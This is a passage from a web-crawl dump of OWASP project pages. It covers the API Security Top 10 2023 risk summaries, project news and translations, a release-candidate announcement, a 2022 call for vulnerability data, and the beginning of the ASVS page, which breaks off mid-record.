overall. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/).\n- **[API3:2023 - Broken Object Property Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/)** This category combines [API3:2019 Excessive Data Exposure](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) and\n[API6:2019 - Mass Assignment](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/), focusing on the root cause: the lack\nof or improper authorization validation at the object property level. This\nleads to information exposure or manipulation by unauthorized parties.\n[Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/).\n- **[API4:2023 - Unrestricted Resource Consumption](https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/)** Satisfying API requests requires resources such as network bandwidth, CPU,\nmemory, and storage. Other resources such as emails/SMS/phone calls or\nbiometrics validation are made available by service providers via API\nintegrations, and paid for per request. Successful attacks can lead to Denial\nof Service or an increase of operational costs. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/).\n- **[API5:2023 - Broken Function Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/)** Complex access control policies with different hierarchies, groups, and roles,\nand an unclear separation between administrative and regular functions, tend\nto lead to authorization flaws. By exploiting these issues, attackers can gain\naccess to other users’ resources and/or administrative functions. [Continue\nreading](https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/).\n- **[API6:2023 - Unrestricted Access to Sensitive Business Flows](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/)** APIs vulnerable to this risk expose a business flow - such as buying a ticket,\nor posting a comment - without compensating for how the functionality could\nharm the business if used excessively in an automated manner. This doesn’t\nnecessarily come from implementation bugs. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/).\n- **[API7:2023 - Server Side Request Forgery](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/)** Server-Side Request Forgery (SSRF) flaws can occur when an API is fetching a\nremote resource without validating the user-supplied URI. This enables an\nattacker to coerce the application to send a crafted request to an unexpected\ndestination, even when protected by a firewall or a VPN. [Continue\nreading](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/).\n- **[API8:2023 - Security Misconfiguration](https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/)** APIs and the systems supporting them typically contain complex configurations,\nmeant to make the APIs more customizable. Software and DevOps engineers can\nmiss these configurations, or don’t follow security best practices when it\ncomes to configuration, opening the door for different types of attacks.\n[Continue reading](https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/).\n- **[API9:2023 - Improper Inventory Management](https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/)** APIs tend to expose more endpoints than traditional web applications, making\nproper and updated documentation highly important. A proper inventory of hosts\nand deployed API versions also are important to mitigate issues such as\ndeprecated API versions and exposed debug endpoints. [Continue\nreading](https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/).\n- **[API10:2023 - Unsafe Consumption of APIs](https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/)** Developers tend to trust data received from third-party APIs more than user\ninput, and so tend to adopt weaker security standards. In order to compromise\nAPIs, attackers go after integrated third-party services instead of trying to\ncompromise the target API directly. [Continue reading](https://owasp.org/API-Security/editions/2023/en/0xaa-unsafe-consumption-of-apis/).\n\n## Licensing\n\n**The OWASP API Security Project documents are free to use!**\n\nThe OWASP API Security Project is licensed under the [Creative Commons\nAttribution-ShareAlike 4.0 license](https://creativecommons.org/licenses/by-sa/4.0/), so you can copy, distribute and\ntransmit the work, and you can adapt it, and use it commercially, but all\nprovided that you attribute the work and if you alter, transform, or build upon\nthis work, you may distribute the resulting work only under the same or similar\nlicense to this one.\n\n---\n\n## Founders\n\n- [Erez Yalon](https://www.owasp.org/index.php/User:ErezYalon)\n- [Inon Shkedy](https://www.owasp.org/index.php/User:Inon)\n\n## Leaders\n\n- [Erez Yalon](https://www.owasp.org/index.php/User:ErezYalon)\n- [Inon Shkedy](https://www.owasp.org/index.php/User:Inon)\n- [Paulo Silva](https://www.owasp.org/index.php/User:PauloASilva)\n\n## 2023 Sponsors\n\n## 2023 Contributors\n\n247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8,\nd0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês\nMartins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB,\nllegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan\nPiyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj,\nwenz, xplo1t-sec, Yaniv Balmas, ynvb\n\n## 2019 Contributors\n\n007divyachawla, Abid Khan, Adam Fisher, anotherik, bkimminich, caseysoftware,\nChris Westphal, dsopas, DSotnikov, emilva, ErezYalon, flascelles, Guillaume\nBenats, IgorSasovets, Inonshk, JonnySchnittger, jmanico, jmdx, Keith Casey,\nkozmic, LauraRosePorter, Matthieu Estrade, nathanawmk, PauloASilva, pentagramz,\nphilippederyck, pleothaud, r00ter, Raj kumar, Sagar Popat, Stephen Gates,\nthomaskonrad, xycloops123, Raphael Hagi, Eduardo Bellis, Bruno Barbosa\n\n---\n\n## Google Group\n\nJoin the discussion on the [OWASP API Security Project Google group](https://groups.google.com/a/owasp.org/d/forum/api-security-project).\n\nThis is the best place to introduce yourself, ask questions, suggest and discuss\nany topic that is relevant to the project.\n\n## GitHub Discussions\n\nYou can also use [GitHub Discussions](https://github.com/OWASP/API-Security/discussions) as a place to connect with other community\nmembers, asking questions or sharing ideas.\n\n## GitHub\n\nThe project is maintained in the [OWASP API Security Project repo](https://github.com/OWASP/API-Security).\n\n**The latest changes are under the [`develop` branch](https://github.com/OWASP/API-Security/tree/develop)**.\n\nFeel free to open or solve an [issue](https://github.com/OWASP/API-Security/issues).\n\nReady to contribute directly into the repo? Great! Just make sure you read the\n[How to Contribute guide](https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md).\n\n---\n\n- **Jun 28th, 2024** OWASP API Security Project - Past Present and Future @ OWASP Global AppSec\nLisbon 2024 ([YouTube](https://www.youtube.com/watch?v=hn4mgTu5izg))\n- **Jun 3rd, 2024** [OWASP API Security Top 10 2023 French translation](https://owasp.org/API-Security/editions/2023/fr/0x00-header/) release.\n- **Jun 5th, 2023** [OWASP API Security Top 10 2023](https://owasp.org/API-Security/editions/2023/en/0x00-header/) stable version was publicly\nreleased.\n- **Feb 14, 2023** [OWASP API Security Top 10 2023 Release Candidate](announcements/2023/02/api-top10-2023rc) is\nnow available.\n- **Aug 30, 2022** [OWASP API Security Top 10 2022 call for data](announcements/cfd/2022/)\nis open.\n- **Oct 30, 2020** [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html) release.\nA truly community effort whose [log and contributors list are available at\nGitHub](https://github.com/OWASP/CheatSheetSeries/pull/434).\n- **Apr 4, 2020** [OWASP API Security Top 10 2019 pt-PT translation](https://github.com/OWASP/API-Security/raw/master/2019/pt-pt/dist/owasp-api-security-top-10.pdf) release.\n- **Mar 27, 2020** [OWASP API Security Top 10 2019 pt-BR translation](https://github.com/OWASP/API-Security/raw/master/2019/pt-br/dist/owasp-api-security-top-10-pt-br.pdf) release.\n- **Dec 26, 2019** OWASP API Security Top 10 2019 stable version release.\n- **Sep 30, 2019** The RC of API Security Top-10 List was published during [OWASP Global AppSec\nAmsterdam](https://ams.globalappsec.org/) ([slide deck](https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/api-security-top10-rc-global-appsec-ams.pdf))\n- **Sep 13, 2019** The RC of API Security Top-10 List was published during [OWASP Global AppSec\nDC](https://dc.globalappsec.org/) ([slide deck](https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/api-security-top10.pdf))\n- **May 30, 2019** The API Security Project was Kicked-Off during [OWASP Global AppSec Tel\nAviv](https://telaviv.appsecglobal.org/) ([slide deck](https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/owasp-api-security-project-kick-off.pdf))\n\n---\n\n## Planned Projects\n\n- API Security Top 10\n- API Security Cheat Sheet\n- crAPI - **C** ompletely **R** idiculous **API** , an intentionally vulnerable API\nproject)\n\n## Roadmap\n\n---\n\n## OWASP API Security Top 10 2023\n\n- [Bahasa (Indonesian)](https://owasp.org/API-Security/editions/2023/id/0x00-header/) [Faiz Ahmed Zaidi](https://github.com/faizzaidi)\n- [French](https://owasp.org/API-Security/editions/2023/fr/0x00-header/) [Aurélien Troncy](https://www.linkedin.com/in/aur%C3%A9lien-troncy-214075229/), [Laurent Legaz](https://github.com/llegaz)\n- [Persian](https://owasp.org/API-Security/editions/2023/fa/0x00-header/) [Alireza Mostame](https://www.linkedin.com/in/alireza-mostame-29970b242), [Maryam Javadi Hoseini](https://www.linkedin.com/in/maryam-javadi-353b1744/), [Mohammad Reza Ismaeli Taba](https://www.linkedin.com/in/rezataba),\n[RNPG](https://www.linkedin.com/company/raspina-net-pars/)\n- [Português (Portugal)](https://owasp.org/API-Security/editions/2023/pt-pt/0x00-header/) [Rui Silva](https://www.linkedin.com/in/rspro/)\n\n## OWASP API Security Top 10 2019\n\n- [Arabic](https://owasp.org/API-Security/editions/2019/ar/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/ar/dist/owasp-api-security-top-10-ar.pdf), [ODT](https://owasp.org/API-Security/editions/2019/ar/dist/owasp-api-security-top-10-ar.odt)) [Malek Aldossary](http://twitter.com/malajab), [Sabri Hassanyah](https://twitter.com/kingsabri), [Mostafa Alaqsm](https://twitter.com/malaqsm), [Fahad Alduraibi](https://twitter.com/fahad_alduraibi),\n[Thamer Alshammeri](https://twitter.com/t44t_), [Mohammed Alsuhaymi](https://twitter.com/msuhaymi)\n- [French](https://owasp.org/API-Security/editions/2019/fr/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/fr/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/fr/dist/owasp-api-security-top-10.odt)) [Fred](https://github.com/datakime), [Laurent Legaz](https://github.com/llegaz)\n- [German](https://owasp.org/API-Security/editions/2019/de/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/de/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/de/dist/owasp-api-security-top-10.odt)) [Moritz Gruber](https://www.linkedin.com/in/moritz-gruber-734a43199/), [Nick Lorenz](https://www.linkedin.com/in/nick-lorenz-16b211222/), [Steffen Thamm](https://www.linkedin.com/in/steffen-thamm-a8341a27b/), [Tim B.](https://www.linkedin.com/in/domai-tb/)\n- [Greek](https://owasp.org/API-Security/editions/2019/el-gr/0x00-header/) ([PDF](https://owasp.org/API-Security/editions/2019/el-gr/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/el-gr/dist/owasp-api-security-top-10.odt)) [Athanasios Emmanouilidis](https://www.linkedin.com/in/athanasiosem/), [Apostolos Giannakidis](https://www.linkedin.com/in/giannakidisapostolos/)\n- [Persian](https://owasp.org/API-Security/editions/2019/fa/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/fa/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/fa/dist/owasp-api-security-top-10.odt)) [Alireza Mostame](https://www.linkedin.com/in/alireza-mostame-29970b242), [Mohammad Reza Ismaeli Taba](https://www.linkedin.com/in/rezataba), [Amirmahdi Nowbakht](https://www.linkedin.com/in/amirmahdi-nowbakht-3b8865200),\n[RNPG](https://www.linkedin.com/company/raspina-net-pars/)\n- [Portuguese (Brazil)](https://owasp.org/API-Security/editions/2019/pt-BR/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.pdf), [ODT](https://owasp.org/API-Security/editions/2019/pt-BR/dist/owasp-api-security-top-10-pt-br.odt)) [Raphael Hagi](https://www.linkedin.com/in/raphael-hagi/), [Eduardo Bellis](https://www.linkedin.com/in/eduardo-bellis-92482534/),\n[Bruno Barbosa](https://www.linkedin.com/in/bbarbosa85/)\n- [Portuguese (Portugal)](https://owasp.org/API-Security/editions/2019/pt-pt/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/pt-pt/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/pt-pt/dist/owasp-api-security-top-10.odt)) [Paulo A. Silva](https://www.linkedin.com/in/devpauloasilva/), [Rui Silva](https://www.linkedin.com/in/rspro/)\n- [Russian](https://owasp.org/API-Security/editions/2019/ru/0x00-header/) (also available in [PDF](https://owasp.org/API-Security/editions/2019/ru/dist/owasp-api-security-top-10.pdf), [ODT](https://owasp.org/API-Security/editions/2019/ru/dist/owasp-api-security-top-10.odt)) [Eugene Rojavski](https://twitter.com/eugenerojavski), [act1on3](https://twitter.com/act1on3), keni0k\n\n---\n\n[Watch](https://github.com/OWASP/API-Security/subscription) [Star](https://github.com/OWASP/API-Security)", "znaku_textu": 16109, "slov": 1576, "odkazu": 126, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-api-security", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:58", "sha256": "7cb72be48697077db58166f0cfc48b03729c6b89e1a5e8c3267d24317bbb735f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://creativecommons.org/licenses/by-sa/4.0/", "https://www.owasp.org/index.php/User:ErezYalon", "https://www.owasp.org/index.php/User:Inon", "https://www.owasp.org/index.php/User:PauloASilva", "https://groups.google.com/a/owasp.org/d/forum/api-security-project", "https://github.com/OWASP/API-Security/discussions", "https://github.com/OWASP/API-Security", "https://github.com/OWASP/API-Security/tree/develop", "https://github.com/OWASP/API-Security/issues", "https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md", "https://www.youtube.com/watch?v=hn4mgTu5izg", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://github.com/OWASP/CheatSheetSeries/pull/434", "https://github.com/OWASP/API-Security/raw/master/2019/pt-pt/dist/owasp-api-security-top-10.pdf", "https://github.com/OWASP/API-Security/raw/master/2019/pt-br/dist/owasp-api-security-top-10-pt-br.pdf", "https://ams.globalappsec.org/", "https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/api-security-top10-rc-global-appsec-ams.pdf", "https://dc.globalappsec.org/", "https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/api-security-top10.pdf", "https://telaviv.appsecglobal.org/", "https://github.com/OWASP/www-project-api-security/raw/master/assets/presentations/owasp-api-security-project-kick-off.pdf", "https://github.com/faizzaidi", "https://www.linkedin.com/in/aur%C3%A9lien-troncy-214075229/", "https://github.com/llegaz", "https://www.linkedin.com/in/alireza-mostame-29970b242", "https://www.linkedin.com/in/maryam-javadi-353b1744/", "https://www.linkedin.com/in/rezataba", "https://www.linkedin.com/company/raspina-net-pars/", "https://www.linkedin.com/in/rspro/", "http://twitter.com/malajab", "https://twitter.com/kingsabri", "https://twitter.com/malaqsm", "https://twitter.com/fahad_alduraibi", "https://twitter.com/t44t_", "https://twitter.com/msuhaymi", "https://github.com/datakime", "https://www.linkedin.com/in/moritz-gruber-734a43199/", "https://www.linkedin.com/in/nick-lorenz-16b211222/", "https://www.linkedin.com/in/steffen-thamm-a8341a27b/", "https://www.linkedin.com/in/domai-tb/", "https://www.linkedin.com/in/athanasiosem/", "https://www.linkedin.com/in/giannakidisapostolos/", "https://www.linkedin.com/in/amirmahdi-nowbakht-3b8865200", "https://www.linkedin.com/in/raphael-hagi/", "https://www.linkedin.com/in/eduardo-bellis-92482534/", "https://www.linkedin.com/in/bbarbosa85/", "https://www.linkedin.com/in/devpauloasilva/", "https://twitter.com/eugenerojavski", "https://twitter.com/act1on3", "https://github.com/OWASP/API-Security/subscription", "http://creativecommons.org/licenses/by-sa/4.0/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc", "titulek": "OWASP API Security Project | OWASP Foundation", "h1": "OWASP API Security Project", "popis": "OWASP API Security Project on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP API Security Project on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP API Security Project | OWASP Foundation", "og:url": "https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Project"}, {"uroven": 2, "text": "OWASP API Security Top 10 2023RC"}], "markdown": "# OWASP API Security Project\n\n[⌂ Home](/www-project-api-security)\n\n## OWASP API Security Top 10 2023RC\n\nDear security enthusiasts and developers,\n\nThe OWASP API Security Project team is proud to announce the [OWASP API Security\nTop 10 2023 release candidate is now available](https://github.com/OWASP/API-Security/tree/master/2023/en/src)! The OWASP API Security Top\n10 is a comprehensive guide to help organizations understand the risks and\nthreats associated with their APIs and how to secure them.\n\nAs a community-driven project, we are seeking contributions and feedback to\nhelp improve [the 2023 release candidate](https://github.com/OWASP/API-Security/tree/master/2023/en/src). If you have expertise in API\nsecurity, we encourage you to [review the OWASP API Security Top 10 on\nGitHub](https://github.com/OWASP/API-Security/tree/master/2023/en/src) and provide your comments and suggestions. Your contributions will\nplay a crucial role in shaping the final version of the guide and making it as\nrelevant and useful as possible.\n\nTo contribute, simply [navigate to the OWASP API Security Top 10 2023 release\ncandidate repository on GitHub](https://github.com/OWASP/API-Security/tree/master/2023/en/src) and submit your feedback through the issue\ntracker. If you have questions or would like to discuss the guide with others\nin the community, [join the OWASP API Security Project mailing list](https://groups.google.com/a/owasp.org/g/api-security-project).\n\nLet’s work together to make API security more accessible and effective for\neveryone!\n\nBest regards,\n\nThe OWASP API Security Project Team\n\n---\n\n[Watch](https://github.com/OWASP/API-Security/subscription) [Star](https://github.com/OWASP/API-Security)", "znaku_textu": 1693, "slov": 217, "odkazu": 26, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:00", "sha256": "9c7fbc073c537f43d7e9e59422fec3cc658a000b7ba4ad5cc1a11930a40e589c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/API-Security/tree/master/2023/en/src", "https://groups.google.com/a/owasp.org/g/api-security-project", "https://github.com/OWASP/API-Security/subscription", "https://github.com/OWASP/API-Security", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-api-security/announcements/cfd/2022/", "titulek": "OWASP API Security Project | OWASP Foundation", "h1": "OWASP API Security Project", "popis": "OWASP API Security Project on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-api-security/announcements/cfd/2022/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP API Security Project on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP API Security Project | OWASP Foundation", "og:url": "https://owasp.org/www-project-api-security/announcements/cfd/2022/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP API Security Project"}, {"uroven": 2, "text": "Call for Data"}, {"uroven": 3, "text": "Goals"}, {"uroven": 3, "text": "Contributions"}, {"uroven": 4, "text": "Contributors"}, {"uroven": 4, "text": "Period"}, {"uroven": 4, "text": "Process"}, {"uroven": 4, "text": "Data Structure"}, {"uroven": 5, "text": "Per Dataset"}], "markdown": "# OWASP API Security Project\n\n[⌂ Home](/www-project-api-security)\n\n## Call for Data\n\nThe OWASP API Security Project team plans to build and release a new edition of\nthe OWASP API Security Top 10 in 2022.\n\nThis is the first time we’re calling for data. Unlike in 2019 when the API\nSecurity Top 10 was first published, we believe the API industry is now more\nmature and should be able to contribute valuable data.\n\n### Goals\n\nCollect comprehensive data regarding **API** vulnerabilities to-date in order\nto build a new top 10 of the most critical **API** security risks.\n\n### Contributions\n\nTo make things smoother we’re adhering to the OWASP Top Ten Project\ncontribution process and data contribution templates that most vendors/security\npractitioners are already familiar with.\n\n#### Contributors\n\nWe’re expecting data coming from a variety of sources, such as security\nvendors and consultancies, bug bounties programs, and security practitioners in\ngeneral such as pentesters.\n\n#### Period\n\nThis call for data will be open during September-November of 2022.\n\nContribute data should date **from 2019 to the end of 2021** and it **should be\nAPI-specific** e.g. REST, GraphQL, gRPC, JSON-RPC, XML-RPC, etc.\n\n#### Process\n\nData can be [uploaded here](https://docs.google.com/forms/d/e/1FAIpQLSdcZU3cbkcGtpS9-2wMH0WMbT3H4ZFC9QOOSh2d0v67B2nUuA/viewform).\n\nIf for some reason you’re not comfortable using the form to contribute data,\nplease reach out to `paulo.silva@owasp.org` for an alternative method.\n\n#### Data Structure\n\nWe’re providing two submission templates: [CSV](/www-project-api-security/announcements/cfd/2022/sample-data-submission.csv) and [JSON](/www-project-api-security/announcements/cfd/2022/sample-data-submission.json).\n\nThe data structure is very similar to the one used by the OWASP Top Ten Project\nwith an additional attribute: `apiProtocol`. In case you already have automated\ntools to compile and output one of these file formats, you should be able to\nuse it with little changes.\n\n##### Per Dataset\n\n| Attribute | Required? | Description |\n| --- | --- | --- |\n| NumberofAppsTested | Yes | How many APIs were tested |\n| CWE | Yes | ID of the weakness found in tested APIs |\n| NumberofAppsPer | Yes | Number of APIs the CWE was found in |\n| TimePeriod | No | When (year) the weakness was first found: 2021/2020/2019 |\n| ContributorName | No | Who’s contributing the data |\n| ContributorContactEmail | No | Email of who is contributing the data |\n| TypeofTesting | No | Type of test performed to identify the weakness: TaH1/HaT2/Tool |\n| APIProtocol | No | Type of API protocol: REST/GraphQL/gRPC/SOAP/… |\n| PrimaryLanguage | No | What programming language was used to implement the API logic |\n| Region | No | Global/North America/EU/Asia/Other |\n| Industry | No | Primary industry: Multiple/Financial/Industrial/Software/… |\n| Retest | No | Whether the data contains retests or the same applications multiple times: T/F |\n\n---\n\n1. Tool assisted Human\n2. Human assisted Tool\n\n---\n\n[Watch](https://github.com/OWASP/API-Security/subscription) [Star](https://github.com/OWASP/API-Security)", "znaku_textu": 2931, "slov": 409, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:05", "sha256": "8035ff53f8ea3bb60caf45aa07b8f9e9f0285fa58425663ce3b99910619cde08", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://docs.google.com/forms/d/e/1FAIpQLSdcZU3cbkcGtpS9-2wMH0WMbT3H4ZFC9QOOSh2d0v67B2nUuA/viewform", "https://github.com/OWASP/API-Security/subscription", "https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Project_Stages", "https://www.owasp.org/index.php/Builders", "https://www.owasp.org/index.php/Breakers", "https://www.owasp.org/index.php/Defenders", "http://creativecommons.org/licenses/by-sa/3.0/", "https://github.com/OWASP/API-Security/raw/master/2019/en/dist/owasp-api-security-top-10.pdf", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://groups.google.com/a/owasp.org/d/forum/api-security-project", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-application-security-verification-standard", "titulek": "OWASP Application Security Verification Standard (ASVS) | OWASP Foundation", "h1": "OWASP Application Security Verification Standard (ASVS)", "popis": "The OWASP Application Security Verification Standard (ASVS) Project is a framework of security requirements that focus on defining the security controls required when designing, developing and testing modern web applications and web services.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-application-security-verification-standard/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The OWASP Application Security Verification Standard (ASVS) Project is a framework of security requirements that focus on defining the security controls required when designing, developing and testing modern web applications and web services.", "og:title": "OWASP Application Security Verification Standard (ASVS) | OWASP Foundation", "og:url": "https://owasp.org/www-project-application-security-verification-standard/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Application Security Verification Standard (ASVS)"}, {"uroven": 2, "text": "What is the ASVS?"}, {"uroven": 2, "text": "Support the ASVS"}, {"uroven": 2, "text": "Stay up to date with the ASVS"}, {"uroven": 2, "text": "More Details on the ASVS"}, {"uroven": 2, "text": "How To Reference ASVS Requirements"}, {"uroven": 2, "text": "Example"}, {"uroven": 1, "text": "Jump to an event"}, {"uroven": 1, "text": "Meet the ASVS team at Global AppSec San Francisco 2024"}, {"uroven": 3, "text": "Get updated on the ASVS"}, {"uroven": 3, "text": "Hear about using the ASVS"}, {"uroven": 3, "text": "Engage with the Community"}, {"uroven": 3, "text": "We hope to see you there at Global AppSec San Francisco 2024"}, {"uroven": 1, "text": "OWASP ASVS Community Meetup - Lisbon 2024"}, {"uroven": 2, "text": "Full Agenda"}, {"uroven": 2, "text": "Meetup Supporter"}, {"uroven": 1, "text": "ASVS Supporters"}, {"uroven": 2, "text": "Introduction"}, {"uroven": 2, "text": "Maintaining Supporters (through time provision)"}, {"uroven": 2, "text": "Primary supporters"}, {"uroven": 2, "text": "Secondary supporters"}, {"uroven": 2, "text": "Tertiary supporters"}, {"uroven": 2, "text": "Associate supporters"}, {"uroven": 2, "text": "News and Events"}, {"uroven": 1, "text": "Acknowledgements"}, {"uroven": 2, "text": "Volunteers"}, {"uroven": 3, "text": "Version 3 (2015)"}, {"uroven": 3, "text": "Version 2 (2014)"}, {"uroven": 3, "text": "Version 2009"}, {"uroven": 2, "text": "OWASP Summer of Code 2008"}, {"uroven": 1, "text": "Volunteer for the ASVS"}, {"uroven": 2, "text": "Building the standard"}, {"uroven": 2, "text": "Helping in other ways"}, {"uroven": 2, "text": "ASVS Users"}, {"uroven": 3, "text": "CREST OWASP Verification Standard (OVS) Programme"}, {"uroven": 3, "text": "App Defense Alliance"}, {"uroven": 3, "text": "Other users"}], "markdown": "# OWASP Application Security Verification Standard (ASVS)\n\n## What is the ASVS?\n\nThe OWASP Application Security Verification Standard (ASVS) Project provides a basis for testing web application technical security controls and also provides developers with a list of requirements for secure development.\n\n## Support the ASVS\n\nFor more details on how to financially support the ASVS, see our [Supporters Page](https://appsecg.host/fundasvs).\n\n## Stay up to date with the ASVS\n\nFollow us on social media to ensure you don’t miss updates about the ASVS:\n\n## More Details on the ASVS\n\nThe primary aim of the **OWASP Application Security Verification Standard (ASVS) Project** is to normalize the range in the coverage and level of rigor available in the market when it comes to performing Web application security verification using a commercially-workable open standard. The standard provides a basis for testing application technical security controls, as well as any technical security controls in the environment, that are relied on to protect against vulnerabilities such as Cross-Site Scripting (XSS) and SQL injection. This standard can be used to establish a level of confidence in the security of Web applications. The requirements were developed with the following objectives in mind:\n\n- **Use as a metric** - Provide application developers and application owners with a yardstick with which to assess the degree of trust that can be placed in their Web applications,\n- **Use as guidance** - Provide guidance to security control developers as to what to build into security controls in order to satisfy application security requirements, and\n- **Use during procurement** - Provide a basis for specifying application security verification requirements in contracts.\n\nGet the latest stable version of the ASVS (5.0.0) from the [Downloads](https://github.com/OWASP/ASVS/tree/v5.0.0#latest-stable-version---500) page.\n\n## How To Reference ASVS Requirements\n\nEach requirement has an identifier in the format `.
.`, where each element is a number. For example, `1.11.3`.\n\n- The `` value corresponds to the chapter from which the requirement comes; for example, all `1.#.#` requirements are from the ‘Encoding and Sanitization’ chapter.\n- The `
` value corresponds to the section within that chapter where the requirement appears, for example: all `1.2.#` requirements are in the ‘Injection Prevention’ section of the ‘Encoding and Sanitization’ chapter.\n- The `` value identifies the specific requirement within the chapter and section, for example, `1.2.5` which as of version 5.0.0 of this standard is:\n\n> Verify that the application protects against OS command injection and that operating system calls use parameterized OS queries or use contextual command line output encoding.\n\nSince the identifiers may change between versions of the standard, it is preferable for other documents, reports, or tools to use the following format: `v-.
